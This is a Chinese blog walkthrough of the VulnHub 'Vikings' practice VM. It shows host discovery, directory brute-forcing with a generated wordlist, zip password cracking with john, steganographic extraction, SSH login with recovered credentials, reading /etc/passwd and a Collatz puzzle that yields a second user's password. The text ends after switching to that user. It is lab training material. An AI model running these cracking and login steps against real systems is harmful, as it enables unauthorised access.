经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » 程序设计 » Python3 » 查看文章
靶机练习: Vikings
来源:cnblogs  作者:shadow_D  时间:2022/12/2 11:37:55  对本文有异议

靶机:Vikings

准备工作

  • 靶机地址: https://download.vulnhub.com/vikings/Vikings.ova

    • MD5 校验:84f72c38e2458e01d00db920a40d51ea

    • SHA1 检验:1c8ac7a6c7454c8c8081cd65af305c2a3ee803d4

      • cmd 进行校验: certutil -hashfile 文件路径 EncryptionType
      • powershell 进行校验: Get-FileHash 文件路径 -Algorithm EncryptionType | Format-List
      • EncryptionType 是加密类型:SHA1, MD5
    • 使用 VirtualBox

    • 网络 Host-Only

  • 配置网络环境:https://www.cnblogs.com/shadow-/p/16815020.html

    • kali: NAT + [ Bridged/Host-Only ]

靶机攻略

发现目标

使用常规工具:

  • arp-scan
  • nmap
  • netdiscover
  • fping

初步扫描 sudo arp-scan -l -I eth1

  1. ┌──(kali?kali)-[~]
  2. └─$ sudo arp-scan -l -I eth1
  3. [sudo] kali 的密码:
  4. Interface: eth1, type: EN10MB, MAC: 08:00:27:5f:50:d7, IPv4: 192.168.56.116
  5. Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
  6. 192.168.56.1 0a:00:27:00:00:0d (Unknown: locally administered)
  7. 192.168.56.100 08:00:27:fe:df:e0 PCS Systemtechnik GmbH
  8. 192.168.56.120 08:00:27:c3:38:3d PCS Systemtechnik GmbH
  9. 3 packets received by filter, 0 packets dropped by kernel
  10. Ending arp-scan 1.9.8: 256 hosts scanned in 2.177 seconds (117.59 hosts/sec). 3 responded
  • 发现目标 192.168.56.120
  • 192.168.56.1 是 virtualbox 在 Host-Only 的网关地址
  • 192.168.56.100 是 virtualbox 在 Host-Only 的 DHCP 服务器地址

使用 nmap 对发现 IP 进行端口扫描 nmap -A -T4 192.168.56.120

  1. ┌──(kali?kali)-[~]
  2. └─$ nmap -A -T4 192.168.56.120
  3. Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-01 11:08 CST
  4. Nmap scan report for 192.168.56.120
  5. Host is up (0.0016s latency).
  6. Not shown: 998 filtered tcp ports (no-response)
  7. PORT STATE SERVICE VERSION
  8. 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
  9. | ssh-hostkey:
  10. | 2048 59d4c0fd6245978315c015b2ac256099 (RSA)
  11. | 256 7e37f011638015a3d39d43c609befbda (ECDSA)
  12. |_ 256 52e94f71bc14dc0034f2a7b358b50dce (ED25519)
  13. 80/tcp open http Apache httpd 2.4.29
  14. |_http-server-header: Apache/2.4.29 (Ubuntu)
  15. | http-ls: Volume /
  16. | SIZE TIME FILENAME
  17. | - 2020-10-29 21:07 site/
  18. |_
  19. |_http-title: Index of /
  20. Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
  21. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  22. Nmap done: 1 IP address (1 host up) scanned in 16.84 seconds
  • 目标开发两个端口 22, 80
  • 22/tcp 是经典的 SSH 版本是 OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
  • 80/tcp 是经典的 http 服务使用 Apache httpd 2.4.29
  • 其中 http-title: Index of /Index of / 页面网站下的所有文件和文件夹中,不必在通过HTTP的网页形式了,从而避免了那些网站的限制

信息收集

信息收集一般从易到难,我们先从 http://192.168.56.120:80/ 突入,使用 firefox 或 curl 简单查看一下页面

  1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
  2. <html>
  3. <head>
  4. <title>Index of /</title>
  5. </head>
  6. <body>
  7. <h1>Index of /</h1>
  8. <table>
  9. <tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=A">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=D">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
  10. <tr><th colspan="5"><hr></th></tr>
  11. <tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="site/">site/</a></td><td align="right">2020-10-29 21:07 </td><td align="right"> - </td><td>&nbsp;</td></tr>
  12. <tr><th colspan="5"><hr></th></tr>
  13. </table>
  14. <address>Apache/2.4.29 (Ubuntu) Server at 192.168.56.120 Port 80</address>
  15. </body></html>
  • 一个文件目录,其中有名为 site 的目录,大概意思应该是站点
  • 我们使用 firefox 访问 http://192.168.56.120/site/ 发现长时间无法访问,建议通过 curl http://192.168.56.120/site/ 进行访问
  1. <!DOCTYPE html>
  2. <!-- This site was created in Webflow. http://www.webflow.com -->
  3. <!-- Last Published: Fri May 01 2020 14:48:48 GMT+0000 (Coordinated Universal Time) -->
  4. <html data-wf-page="5ea837e8c81001b668dffd4a" data-wf-site="5ea837e8c8100167b2dffd49">
  5. <head>
  6. <meta charset="utf-8">
  7. <title>Split</title>
  8. <meta content="width=device-width, initial-scale=1" name="viewport">
  9. <meta content="Webflow" name="generator">
  10. <link href="css/normalize.css" rel="stylesheet" type="text/css">
  11. <link href="css/webflow.css" rel="stylesheet" type="text/css">
  12. <link href="css/split-opl.webflow.css" rel="stylesheet" type="text/css">
  13. <script src="https://ajax.googleapis.com/ajax/libs/webfont/1.6.26/webfont.js" type="text/javascript"></script>
  14. <script type="text/javascript">WebFont.load({ google: { families: ["Inter:regular,600","Lora:regular"] }});</script>
  15. <!-- [if lt IE 9]><script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js" type="text/javascript"></script><![endif] -->
  16. <script type="text/javascript">!function(o,c){var n=c.documentElement,t=" w-mod-";n.className+=t+"js",("ontouchstart"in o||o.DocumentTouch&&c instanceof DocumentTouch)&&(n.className+=t+"touch")}(window,document);</script>
  17. <link href="images/favicon.png" rel="shortcut icon" type="image/x-icon">
  18. <link href="images/webclip.jpg" rel="apple-touch-icon">
  19. <style type="text/css">
  20. body {
  21. -webkit-font-smoothing: antialiased;
  22. }
  23. </style>
  24. </head>
  25. <body class="body">
  26. <div class="columns w-row">
  27. <div class="leftcontent w-col w-col-6 w-col-stack">
  28. <div data-w-id="b84f5156-c6e2-fb1d-6606-98a08030a472" style="opacity:0" class="image"></div>
  29. </div>
  30. <div class="rightcontent w-col w-col-6 w-col-stack">
  31. <div data-w-id="3fd5aeb3-22da-ed60-7286-0d11f16597d3" style="opacity:0" class="content">
  32. <div class="name">Ivar The Boneless</div>
  33. <h1 class="tagline"><strong class="bold-text">Mad King</strong></h1>
  34. <p class="bio">865 the Great Heathen Army, led by Ivar, invaded the Anglo-Saxon Heptarchy.The Heptarchy was the collective name for the seven kingdoms East Anglia, Essex, Kent, Mercia, Northumbria, Sussex and Wessex. The invasion was organised by the sons of Ragnar Lodbrok, to wreak revenge against ?lla of Northumbria who had supposedly executed Ragnar in 865 by throwing him in a snake pit, but the historicity of this explanation is unknown.According to the saga, Ivar did not overcome ?lla and sought reconciliation. He asked for only as much land as he could cover with an ox's hide and swore never to wage war against ?lla. Then Ivar cut the ox's hide into such fine strands that he could envelop a large fortress (in an older saga it was York and according to a younger saga it was London), which he could take as his own. (Compare the similar legendary ploy of Dido.)</p>
  35. <div class="links w-row">
  36. <div class="column w-col w-col-4">
  37. <div class="text-block-2">Connect</div>
  38. <ul class="list w-list-unstyled">
  39. <li><a href="#">Blog</a></li>
  40. <li><a href="#">Email</a></li>
  41. <li><a href="#">Newsletter</a></li>
  42. </ul>
  43. </div>
  44. <div class="column-2 w-col w-col-4">
  45. <div class="text-block-2">social</div>
  46. <ul class="list w-list-unstyled">
  47. <li><a href="#">Twitter</a></li>
  48. <li><a href="#">Instagram</a></li>
  49. <li><a href="#">Dribbble</a></li>
  50. </ul>
  51. </div>
  52. <div class="w-col w-col-4">
  53. <div class="text-block-2">network</div>
  54. <ul class="list w-list-unstyled">
  55. <li><a href="#">Link One</a></li>
  56. <li><a href="#">Link Two</a></li>
  57. <li><a href="#">Link Three</a></li>
  58. </ul>
  59. </div>
  60. </div>
  61. <div class="credit">?2020 Ivar The Boneless</div>
  62. </div>
  63. </div>
  64. </div>
  65. <script src="https://d3e54v103j8qbb.cloudfront.net/js/jquery-3.4.1.min.220afd743d.js?site=5ea837e8c8100167b2dffd49" type="text/javascript" integrity="sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo=" crossorigin="anonymous"></script>
  66. <script src="js/webflow.js" type="text/javascript"></script>
  67. <!-- [if lte IE 9]><script src="https://cdnjs.cloudflare.com/ajax/libs/placeholders/3.0.2/placeholders.min.js"></script><![endif] -->
  68. </body>
  69. </html>
  • 从页面中的我们大概知道访问慢的原因是网页使用了一些外网链接比如 https://ajax.googleapis.com/ajax/libs/webfont/1.6.26/webfont.js 这样的外网内容,导致在国内无法加载

  • 注释中的特殊内容是用于浏览器 IE 兼容问题

  • 网页中大部分 <a> 链接都是假的,href="#" 是指当前页面

  • 网页中文章内容解读应该从 <title>Split</title><div class="name">Ivar The Boneless</div> 、以及 <p class="bio"> 中的文本,大概意思是分裂的主题,一般我们需要提取其中的 人名地名 做为我们后续密码破解的字典,因为部分人会根据自己的喜好用故事中的人名地名做密码或账号的内容

    1. 无骨伊瓦尔
    2. 865年,由伊瓦尔率领的大希思军团入侵盎格鲁撒克逊人的赫帕奇。赫普塔克王朝是东安格利亚、埃塞克斯、肯特、麦西亚、诺森布里亚、苏塞克斯和威塞克斯七个王国的统称。这次入侵是由拉格纳·洛德布罗克(Ragnar Lodbrok)的儿子组织的,目的是为了报复诺森布里亚的?lla,据称他于865年将拉格纳扔进蛇坑处决,但这一解释的历史性不得而知。根据传说,伊瓦尔没有克服?lla并寻求和解。他只要求用牛皮覆盖尽可能多的土地,并发誓永远不会对?lla发动战争。然后伊瓦尔把牛皮剪成细绳,他可以包围一座大城堡(在一个古老的传说中是约克,根据一个年轻的传说是伦敦),他可以把它当作自己的城堡。(比较迪多的类似传奇策略。)

目前我们已经没有线索了,这种时候就应该对其 Web 路径进行爆破,查看是否存在隐藏路径,推荐工具

  • dirsearch
  • dirb
  • dirbuster
  • gobuster
  • feroxbuster
  1. ┌──(kali?kali)-[~]
  2. └─$ dirsearch -u http://192.168.56.120
  3. _|. _ _ _ _ _ _|_ v0.4.2
  4. (_||| _) (/_(_|| (_| )
  5. Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
  6. Output File: /home/kali/.dirsearch/reports/192.168.56.120/_22-12-01_11-42-58.txt
  7. Error Log: /home/kali/.dirsearch/logs/errors-22-12-01_11-42-58.log
  8. Target: http://192.168.56.120/
  9. [11:42:58] Starting:
  10. [11:43:02] 403 - 279B - /.ht_wsr.txt
  11. [11:43:02] 403 - 279B - /.htaccess.save
  12. [11:43:02] 403 - 279B - /.htaccess_orig
  13. [11:43:02] 403 - 279B - /.htaccess.sample
  14. [11:43:02] 403 - 279B - /.htaccess.bak1
  15. [11:43:02] 403 - 279B - /.htaccess_extra
  16. [11:43:02] 403 - 279B - /.htaccess.orig
  17. [11:43:02] 403 - 279B - /.htaccessBAK
  18. [11:43:02] 403 - 279B - /.htaccessOLD
  19. [11:43:02] 403 - 279B - /.htaccess_sc
  20. [11:43:02] 403 - 279B - /.httr-oauth
  21. [11:43:02] 403 - 279B - /.htpasswds
  22. [11:43:02] 403 - 279B - /.htpasswd_test
  23. [11:43:02] 403 - 279B - /.htm
  24. [11:43:02] 403 - 279B - /.html
  25. [11:43:02] 403 - 279B - /.htaccessOLD2
  26. [11:45:17] 403 - 279B - /server-status
  27. [11:45:17] 403 - 279B - /server-status/
  28. [11:45:21] 301 - 315B - /site -> http://192.168.56.120/site/
  29. [11:45:22] 200 - 4KB - /site/
  30. Task Completed

目前只有 http://192.168.56.120/site/ 所以继续爆破

  1. ┌──(kali?kali)-[~]
  2. └─$ dirsearch -u http://192.168.56.120/site/
  3. _|. _ _ _ _ _ _|_ v0.4.2
  4. (_||| _) (/_(_|| (_| )
  5. Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
  6. Output File: /home/kali/.dirsearch/reports/192.168.56.120/-site-_22-12-01_11-47-48.txt
  7. Error Log: /home/kali/.dirsearch/logs/errors-22-12-01_11-47-48.log
  8. Target: http://192.168.56.120/site/
  9. [11:47:48] Starting:
  10. [11:47:49] 301 - 318B - /site/js -> http://192.168.56.120/site/js/
  11. [11:47:52] 403 - 279B - /site/.ht_wsr.txt
  12. [11:47:52] 403 - 279B - /site/.htaccess.sample
  13. [11:47:52] 403 - 279B - /site/.htaccess.orig
  14. [11:47:52] 403 - 279B - /site/.htaccess.save
  15. [11:47:52] 403 - 279B - /site/.htaccess_extra
  16. [11:47:52] 403 - 279B - /site/.htaccess_orig
  17. [11:47:52] 403 - 279B - /site/.htaccess_sc
  18. [11:47:52] 403 - 279B - /site/.htaccessBAK
  19. [11:47:52] 403 - 279B - /site/.htaccessOLD
  20. [11:47:52] 403 - 279B - /site/.htaccessOLD2
  21. [11:47:52] 403 - 279B - /site/.htm
  22. [11:47:52] 403 - 279B - /site/.html
  23. [11:47:52] 403 - 279B - /site/.htaccess.bak1
  24. [11:47:52] 403 - 279B - /site/.htpasswd_test
  25. [11:47:52] 403 - 279B - /site/.htpasswds
  26. [11:47:52] 403 - 279B - /site/.httr-oauth
  27. [11:48:42] 301 - 319B - /site/css -> http://192.168.56.120/site/css/
  28. [11:49:00] 200 - 1KB - /site/images/
  29. [11:49:00] 301 - 322B - /site/images -> http://192.168.56.120/site/images/
  30. [11:49:03] 200 - 4KB - /site/index.html
  31. [11:49:05] 200 - 951B - /site/js/
  • 没有什么新鲜内容,我们需要所以之前收集的信息制作一个字典用于爆破,使用 python 制作字典生成脚本 create_dict.py
  1. import re
  2. text = r"865 the Great Heathen Army, led by Ivar, invaded the Anglo-Saxon Heptarchy.The Heptarchy was the collective name for the seven kingdoms East Anglia, Essex, Kent, Mercia, Northumbria, Sussex and Wessex. The invasion was organised by the sons of Ragnar Lodbrok, to wreak revenge against ?lla of Northumbria who had supposedly executed Ragnar in 865 by throwing him in a snake pit, but the historicity of this explanation is unknown.According to the saga, Ivar did not overcome ?lla and sought reconciliation. He asked for only as much land as he could cover with an ox's hide and swore never to wage war against ?lla. Then Ivar cut the ox's hide into such fine strands that he could envelop a large fortress (in an older saga it was York and according to a younger saga it was London), which he could take as his own. (Compare the similar legendary ploy of Dido.)"
  3. text_dict = text.split(' ')
  4. # 格式化去重
  5. res = []
  6. [res.append(re.sub(r'[\W]', '', i) + r'.%EXT%' + '\n') for i in text_dict if i not in res]
  7. # 生成字典文件
  8. with open('text_dict.txt', 'w', encoding='utf-8') as f:
  9. f.writelines(res)
  • 生成的字典会在当前目录名称 text_dict.txt
  • dirsearch -u 网址 -w 字典路径
  1. ┌──(kali?kali)-[~/workspace]
  2. └─$ dirsearch -u http://192.168.56.120/site/ -w ~/workspace/text_dict.txt -e php,html,js,txt
  3. _|. _ _ _ _ _ _|_ v0.4.2
  4. (_||| _) (/_(_|| (_| )
  5. Extensions: php, html, js, txt | HTTP method: GET | Threads: 30 | Wordlist size: 412
  6. Output File: /home/kali/.dirsearch/reports/192.168.56.120/-site-_22-12-01_12-38-55.txt
  7. Error Log: /home/kali/.dirsearch/logs/errors-22-12-01_12-38-55.log
  8. Target: http://192.168.56.120/site/
  9. [12:38:56] Starting:
  10. [12:38:59] 200 - 13B - /site/war.txt
  11. Task Completed
  • 发现一文件 /site/war.txt

使用 curl http://192.168.56.120/site/war.txt

  1. ┌──(kali?kali)-[~/workspace]
  2. └─$ curl http://192.168.56.120/site/war.txt
  3. /war-is-over

在火狐上查看 curl http://192.168.56.120/site/war-is-over 是大量 base64 编码,我们可以使用 wget http://192.168.56.120/site/war-is-over 下载到本地查看

  1. ┌──(kali?kali)-[~/workspace]
  2. └─$ wget http://192.168.56.120/site/war-is-over
  3. --2022-12-01 12:49:57-- http://192.168.56.120/site/war-is-over
  4. 正在连接 192.168.56.120:80... 已连接。
  5. 已发出 HTTP 请求,正在等待回应... 301 Moved Permanently
  6. 位置:http://192.168.56.120/site/war-is-over/ [跟随至新的 URL]
  7. --2022-12-01 12:49:57-- http://192.168.56.120/site/war-is-over/
  8. 再次使用存在的到 192.168.56.120:80 的连接。
  9. 已发出 HTTP 请求,正在等待回应... 200 OK
  10. 长度:1881260 (1.8M) [text/html]
  11. 正在保存至: war-is-over
  12. war-is-over 100%[=========================================================>] 1.79M --.-KB/s 用时 0.04s
  13. 2022-12-01 12:49:57 (50.0 MB/s) - 已保存 war-is-over [1881260/1881260])
  14. ┌──(kali?kali)-[~/workspace]
  15. └─$ ls
  16. a.php create_dict.py proxychains.conf text_dict.txt war-is-over x.txt
  17. ┌──(kali?kali)-[~/workspace]
  18. └─$ cat war-is-over
  19. UEsDBDMDAQBjAAKAI1MAAAAA3IYVAALRFQAEAAsAa2luZwGZBwACAEFFAQgAV3rWTJK9PAXMoWx/fo3tm3aPB1giBaLhkGT8nQpRDt1eI0cOwDhahacPQYGBBGk/wLB8p6AtIrr+sGlWKfinjvrKMgkOOAqem2D8GNfzr1IxU0q876/02NC9VxpiYK9IKw425FqBcBJFcNXZ7PCVGwVVJyHKplUukjl31Em2ICx7r5toNOSVXJP8XOeUY8c7xPY72B1dbQ2PdEp3PwCggZ0UWRonMorjNCAT3D8Tj/x5zrlnvDuC4yIhhFDxiWLjIVR0dDJuZhd/JM+KVR4I9YrEmqupHLKJcfqf/BlvgMU/iXo7sMd1y/ck6wM11sgYq8EF557aeSPXjD2hI8iztksZZS9sx3lEHqPRlRn2zMDFOI+5A8iTO+nAJ7HkFt4NfyJjWNCuFzCnv/TVOBQfNfPgKyYdjUW/CHarhPlctpeV+IiqsoHW1M6S2aHLM9wk8zOlh+7m6le6ifo23usST80Wt48EYs5y+uz4621cr1nY8lc2jf95prNYrtMIuJaargXZy84fwVyZKWXBuanEWBE/soy0l4KL/wy2KhF2438RQwf7zbgwvRhGeGsnsNdDRkMb9L9+bA42w6XlhK2sonSTwkYlK1OEp0fxuoSRsEdOT9gX8/2E8C95LTdz2j637XHJy+gIXjx2mZWTfYTbaJl5YnO3DSOuI9gMBzIAqfuJo8zQPu9ouHY59q5Nojtaq4QZLpnCbCexyogk5PDMCQxhMZztzNR7nVo3KWRxBsYa41fqeAaSk1KnQRDsRR7fVzuanL/J67NjX2ULXhKgxGhv8Csk6U9dfUj3djfVlw7uRi/FkiQ8hRBEoUG3JF4IRV49mYBY87+eRQLScAVDFfx0HrCY/M/zpVvl8hVvO4dqWGz2qEl+90C8sJ
  20. ... ... ...

我们使用 base64 war-is-over -d | more 解密并查看内容,发现是大量的乱码但开头的 PK3c 一般表明可能是二进制文件

  1. ┌──(kali?kali)-[~/workspace]
  2. └─$ base64 war-is-over -d | more
  3. PK3c?#S??
  4. king?AWz?L??<l~???v?X"???d??
  5. Q?^#G?8Z??A??i???|??-"???iV)?????2 8
  6. ??`?????R1SJ?????нW?b`?H+6?Z?pEp?????'!?U.?9w?I? ,{??h4??\??\??c?;??;?]m
  7. ?"o??
  8. |V?H3a??~???U?2L???r??
  9. A?)SA?捓?qV??^??'?6?z$e????a?h?¥?5?+????d?h?r?6%???w?(??=????Re5?????X?i??f
  10. ????&I??????????鋯?7z1?,l???Q0?P?"?f+"???Jǚfg}y?
  11. ?^?V?y??<??T!??5????s?#?D??r?Q%??s??????<0^;???R=@`? ??-X?W???:7J6]??<??Y?Q???O???(??d<#???
  • 当然以上我们不确定,我们可以使用 https://gchq.github.io/CyberChef/Detect File Type 进一步探测,最终知道是 zip 类型文件
  • 使用 base64 war-is-over -d > a.zip 获取为压缩包,在解压是会发现需要密码

John 密码破解 ZIP

  • 先生成 john 可以理解的数据 zip2john a.zip > data
  • 使用自带的字典 /usr/share/wordlists/rockyou.txt 如果没有可能是没有解压字典
  • 破译 john data --wordlist=/usr/share/wordlists/rockyou.txt
  1. ┌──(kali?kali)-[~/workspace]
  2. └─$ john data --wordlist=/usr/share/wordlists/rockyou.txt
  3. Using default input encoding: UTF-8
  4. Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 128/128 SSE2 4x])
  5. Cost 1 (HMAC size) is 1410760 for all loaded hashes
  6. Press 'q' or Ctrl-C to abort, almost any other key for status
  7. ragnarok123 (a.zip/king)
  8. 1g 0:00:01:11 DONE (2022-12-01 13:15) 0.01403g/s 4143p/s 4143c/s 4143C/s raihanah..raejean
  9. Use the "--show" option to display all of the cracked passwords reliably
  10. Session completed.
  • 密码为 ragnarok123
  • 解压后是一张图片 king
  • 密码的 ragnarok 也是前文中的一个人名

隐写术

一般这种刻意隐藏,已经和图片或 pdf 都会涉及隐写术,我们使用相关工具进行检验

  1. ┌──(kali?kali)-[~/workspace]
  2. └─$ steghide info king
  3. "king":
  4. format: jpeg
  5. capacity: 76.2 KB
  6. Try to get information about embedded data ? (y/n) y
  7. Enter passphrase:
  • 其中雀实存在隐写,但存在密码
  1. ┌──(kali?kali)-[~/workspace]
  2. └─$ foremost king 127 ?
  3. Processing: king
  4. |foundat=user??wK??/-v?O,I*??II-?O????t(????K/V p???9???'??1W?
  5. *|
  • 使用 foremost 提取数据会在当前目录下生成 output 的目录
  1. ┌──(kali?kali)-[~/workspace]
  2. └─$ tree output
  3. output
  4. ├── audit.txt
  5. ├── jpg
  6.    └── 00000000.jpg
  7. └── zip
  8. └── 00002792.zip
  9. 2 directories, 3 files
  • audit.txt 是日志不用管
  • 00000000.jpg 是原本那张图片
  • 00002792.zip 就是我们需要的隐藏数据
  1. ┌──(kali?kali)-[~/workspace]
  2. └─$ unzip output/zip/00002792.zip
  3. Archive: output/zip/00002792.zip
  4. inflating: user
  • 00002792.zip 解压得到的只有 user 文件
  • 下面是 user 文件内容
  1. //FamousBoatbuilder_floki@vikings
  2. //f@m0usboatbuilde7

明显这种格式已经文件名称 user 我们下一步应该是 SSH 登录尝试

SSH 登录

首先我们分析一下已有信息,一般这种有寓意类的在故事中都存在暗示

  • 来自网页的 http://192.168.56.120:80/ 信息

    1. <title>Split</title>
    2. Ivar The Boneless
    3. <h1>Mad King</h1>
    4. 865 the Great Heathen Army, led by Ivar, invaded the Anglo-Saxon Heptarchy.The Heptarchy was the collective name for the seven kingdoms East Anglia, Essex, Kent, Mercia, Northumbria, Sussex and Wessex. The invasion was organised by the sons of Ragnar Lodbrok, to wreak revenge against ?lla of Northumbria who had supposedly executed Ragnar in 865 by throwing him in a snake pit, but the historicity of this explanation is unknown.According to the saga, Ivar did not overcome ?lla and sought reconciliation. He asked for only as much land as he could cover with an ox's hide and swore never to wage war against ?lla. Then Ivar cut the ox's hide into such fine strands that he could envelop a large fortress (in an older saga it was York and according to a younger saga it was London), which he could take as his own. (Compare the similar legendary ploy of Dido.)
  • user 文件

    1. //FamousBoatbuilder_floki@vikings
    2. //f@m0usboatbuilde7

其中的关键人物 Ragnar Lodbrok 感兴趣可以查看关于他的故事,他是北欧传说中的半传奇英雄一位传奇海盗领袖,他最终在 865 年因为遭遇海难,漂流至英格兰的诺森布里亚国王Aella的领地,被俘后遭处死,上面故事其 “无骨者” 伊瓦尔 和 “白衣” 哈夫丹 为父亲 Ragnar Lodbrok 复仇,在标题中是分裂

  • 我们找到的隐藏文件 war 是战争,在 war-is-over 是战争结束,我们破译时使用的密码是 ragnarok123 明显是指 Ragnar Lodbrok 得到的文件也是 king 这张图片,Ragnar Lodbrok 是他们的王或称首领,图片中是维京人的船,FamousBoatbuilder 是船制造者,后面接的 vikings 是指维京人的意思,那么 floki 就应该是人名,是 king 这张图片中船的制造者,其实也可以百度 floki 和维京人可以发现这就是一个经典的维京人名称,故事中 Ragnar 和他的筑船师朋友 Floki 共同建造了能够征服北大西洋的新型「无畏舰」

    其中 floki 也有英勇的含义,在维京人的传说中勇敢无畏的战士在死后会通过船只引渡到英灵殿中,这是维京人的之高荣誉,并且在故事中 865 年是 Ragnar Lodbrok 死去的时间节点

  • 在 SSH 是我们都是 name@host 以此推断 floki@192.168.56.120

  • 密码应该是 f@m0usboatbuilde7

其实此处应该使用以上信息生成账号字典与密码字典进行爆破是最为有效的策略

  1. ┌──(kali?kali)-[~]
  2. └─$ ssh floki@192.168.56.120
  3. The authenticity of host '192.168.56.120 (192.168.56.120)' can't be established.
  4. ED25519 key fingerprint is SHA256:volom5GRMcetvgfJsyVTXVnNY0FUA6W1k/5fsdHs9T4.
  5. This key is not known by any other names
  6. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
  7. Warning: Permanently added '192.168.56.120' (ED25519) to the list of known hosts.
  8. floki@192.168.56.120's password:
  9. Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-154-generic x86_64)
  10. * Documentation: https://help.ubuntu.com
  11. * Management: https://landscape.canonical.com
  12. * Support: https://ubuntu.com/advantage
  13. System information as of Fri Dec 2 01:49:58 UTC 2022
  14. System load: 0.23 Processes: 98
  15. Usage of /: 52.0% of 8.79GB Users logged in: 0
  16. Memory usage: 18% IP address for enp0s3: 192.168.56.120
  17. Swap usage: 0%
  18. 0 updates can be applied immediately.
  19. You have mail.
  20. Last login: Sat Sep 4 04:38:04 2021 from 10.42.0.1
  21. floki@vikings:~$ id
  22. uid=1000(floki) gid=1000(floki) groups=1000(floki),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd)

尝试提权

先查看一下当前目录的信息

  1. floki@vikings:~$ ls
  2. boat readme.txt
  3. floki@vikings:~$ cat boat
  4. #Printable chars are your ally.
  5. #num = 29th prime-number.
  6. collatz-conjecture(num)
  7. floki@vikings:~$ cat readme.txt
  8. _______________________________________________________________________Floki-Creation____________________________________________________________________________________________________
  9. I am the famous boat builder Floki. We raided Paris this with our all might yet we failed. We don't know where Ragnar is after the war. He is in so grief right now. I want to apologise to him.
  10. Because it was I who was leading all the Vikings. I need to find him. He can be anywhere.
  11. I need to create this `boat` to find Ragnar
  • boat 是船的意思
  • readme.txt 是 Floki 的故事

查看一番 /etc/passwd

  1. floki@vikings:~$ cat /etc/passwd
  2. root:x:0:0:root:/root:/bin/bash
  3. daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  4. bin:x:2:2:bin:/bin:/usr/sbin/nologin
  5. sys:x:3:3:sys:/dev:/usr/sbin/nologin
  6. sync:x:4:65534:sync:/bin:/bin/sync
  7. games:x:5:60:games:/usr/games:/usr/sbin/nologin
  8. man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
  9. lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
  10. mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
  11. news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
  12. uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
  13. proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
  14. www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
  15. backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
  16. list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
  17. irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
  18. gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
  19. nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  20. systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
  21. systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
  22. syslog:x:102:106::/home/syslog:/usr/sbin/nologin
  23. messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
  24. _apt:x:104:65534::/nonexistent:/usr/sbin/nologin
  25. lxd:x:105:65534::/var/lib/lxd/:/bin/false
  26. uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
  27. dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
  28. landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
  29. pollinate:x:109:1::/var/cache/pollinate:/bin/false
  30. sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
  31. floki:x:1000:1000:floki:/home/floki:/bin/bash
  32. ragnar:x:1001:1001::/home/ragnar:/bin/sh
  • floki 之外还存在 ragnar 其中 Ragnar 是他们的王,或许 ragnar 应该有 root 权限
  • readme.txt 中 Floki 说想要找到 Ranger 我们需要船
  • boat 是船

所以我们需要解谜

  1. #Printable chars are your ally.
  2. #num = 29th prime-number.
  3. collatz-conjecture(num)
  • num 是第 29 个素数
  • collatz-conjecture 数学的考拉兹猜想
  • 需要是可打印的字符

编写代码,记着可以使用分屏 ctrl+shift+D

  1. import math
  2. prime = []
  3. for i in range(2, 10000):
  4. if i == 2:
  5. prime.append(i)
  6. else:
  7. for j in range(2, int(math.sqrt(i)) + 1):
  8. if i % j == 0:
  9. break
  10. else:
  11. prime.append(i)
  12. num = prime[28]
  13. c = []
  14. while num != 1:
  15. if 0x20 <= num and num <= 0x7E:
  16. print(chr(num), end='')
  17. if num % 2 == 1:
  18. num = 3 * num + 1
  19. else:
  20. num //= 2

执行结果

  1. ┌──(kali?kali)-[~/workspace]
  2. └─$ python3 collatz-conjecture.py
  3. mR)|>^/Gky[gz=\.F#j5P(
  • 密码为 mR)|>^/Gky[gz=\.F#j5P(

在登录的 ssh 上使用 su ragnar 进行登录

  1. floki@vikings:~$ su ragnar
  2. Password:
  3. $ mR)|>^/Gky[gz=\.F#j5P(
  4. sh: 1: Syntax error: ")" unexpected
  5. $ id
  6. uid=1001(ragnar) gid=1001(ragnar) groups=1001(ragnar)
